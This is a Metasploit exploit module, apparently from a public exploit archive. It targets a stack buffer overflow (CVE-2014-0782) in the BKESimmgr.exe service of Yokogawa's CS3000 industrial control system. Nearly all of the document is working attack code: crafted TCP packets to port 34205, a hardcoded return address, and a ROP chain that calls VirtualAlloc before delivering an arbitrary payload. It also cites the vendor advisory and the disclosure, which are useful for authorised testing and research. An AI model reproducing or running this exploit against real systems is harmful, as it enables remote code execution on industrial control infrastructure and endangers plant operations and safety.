Yokogawa CS3000 BKESimmgr.exe Buffer Overflow

This Metasploit module exploits an stack based buffer overflow on Yokogawa CS3000. The vulnerability exists in the BKESimmgr.exe service when handling specially crafted packets, due to an insecure usage of memcpy, using attacker controlled data as the size count. This Metasploit module has been tested successfully in Yokogawa CS3000 R3.08.50 over Windows XP SP3 and Windows 2003 SP2.

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Yokogawa CS3000 BKESimmgr.exe Buffer Overflow',
      'Description'    => %q{
        This module exploits an stack based buffer overflow on Yokogawa CS3000. The vulnerability
        exists in the BKESimmgr.exe service when handling specially crafted packets, due to an
        insecure usage of memcpy, using attacker controlled data as the size count. This module
        has been tested successfully in Yokogawa CS3000 R3.08.50 over Windows XP SP3 and Windows
        2003 SP2.
      },
      'Author'         =>
        [
          'juan vazquez',
          'Redsadic <julian.vilas[at]gmail.com>'
        ],
      'References'     =>
        [
          ['CVE', '2014-0782'],
          ['URL', 'https://community.rapid7.com/community/metasploit/blog/2014/05/09/r7-2013-192-disclosure-yokogawa-centum-cs-3000-vulnerabilities'],
          ['URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf']
        ],
      'Payload'        =>
        {
          'Space'          => 340,
          'DisableNops'    => true,
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [
            'Yokogawa Centum CS3000 R3.08.50 / Windows [ XP SP3 / 2003 SP2 ]',
            {
              'Ret'           => 0x61d1274f, # 0x61d1274f # ADD ESP,10 # RETN # libbkebatchepa.dll
              'Offset'        => 64,
              'FakeArgument1' => 0x0040E65C, # ptr to .data on BKESimmgr.exe
              'FakeArgument2' => 0x0040EB90  # ptr to .data on BKESimmgr.exe
            }
          ],
        ],
      'DisclosureDate' => 'Mar 10 2014',
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(34205)
      ], self.class)
  end

  def check
    data = create_pkt(rand_text_alpha(4))

    res = send_pkt(data)

    if res && res.length == 10
      simmgr_res = parse_response(res)

      if valid_response?(simmgr_res)
        check_code = Exploit::CheckCode::Appears
      else
        check_code = Exploit::CheckCode::Safe
      end
    else
      check_code = Exploit::CheckCode::Safe
    end

    check_code
  end

  def exploit
    bof = rand_text(target['Offset'])
    bof << [target.ret].pack("V")
    bof << [target['FakeArgument1']].pack("V")
    bof << [target['FakeArgument2']].pack("V")
    bof << rand_text(16)  # padding (corrupted bytes)
    bof << create_rop_chain
    bof << payload.encoded

    data = [0x1].pack("N")         # Sub-operation id, <= 0x8 in order to pass the check at sub_4090B0
    data << [bof.length].pack("n")
    data << bof

    pkt = create_pkt(data)

    print_status("Trying target #{target.name}, sending #{pkt.length} bytes...")
    connect
    sock.put(pkt)
    disconnect
  end

  def create_rop_chain
    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets =
      [
        0x004047ca, # POP ECX # RETN [BKESimmgr.exe]
        0x610e3024, # ptr to &VirtualAlloc() [IAT libbkfmtvrecinfo.dll]
        0x61232d60, # MOV EAX,DWORD PTR DS:[ECX] # RETN [LibBKESysVWinList.dll]
        0x61d19e6a, # XCHG EAX,ESI # RETN [libbkebatchepa.dll]
        0x619436d3, # POP EBP # RETN [libbkeeda.dll]
        0x61615424, # & push esp #  ret  [libbkeldc.dll]
        0x61e56c8e, # POP EBX # RETN [LibBKCCommon.dll]
        0x00000001, # 0x00000001-> ebx
        0x61910021, # POP EDX # ADD AL,0 # MOV EAX,6191002A # RETN [libbkeeda.dll]
        0x00001000, # 0x00001000-> edx
        0x0040765a, # POP ECX # RETN [BKESimmgr.exe]
        0x00000040, # 0x00000040-> ecx
        0x6191aaab, # POP EDI # RETN [libbkeeda.dll]
        0x61e58e04, # RETN (ROP NOP) [LibBKCCommon.dll]
        0x00405ffa, # POP EAX # RETN [BKESimmgr.exe]
        0x90909090, # nop
        0x619532eb  # PUSHAD # RETN [libbkeeda.dll]
      ].pack("V*")

    rop_gadgets
  end

  def create_pkt(data)
    pkt = [0x01].pack("N")         # Operation Identifier
    pkt << [data.length].pack("n") # length
    pkt << data                    # Fake packet

    pkt
  end

  def send_pkt(data)
    connect
    sock.put(data)
    res = sock.get_once
    disconnect

    res
  end

  def parse_response(data)
    data.unpack("NnN")
  end

  def valid_response?(data)
    valid = false

    if data && data[0] == 1 && data[1] == 4 && data[1] == 4 && data[2] == 5
      valid = true
    end

    valid
  end

end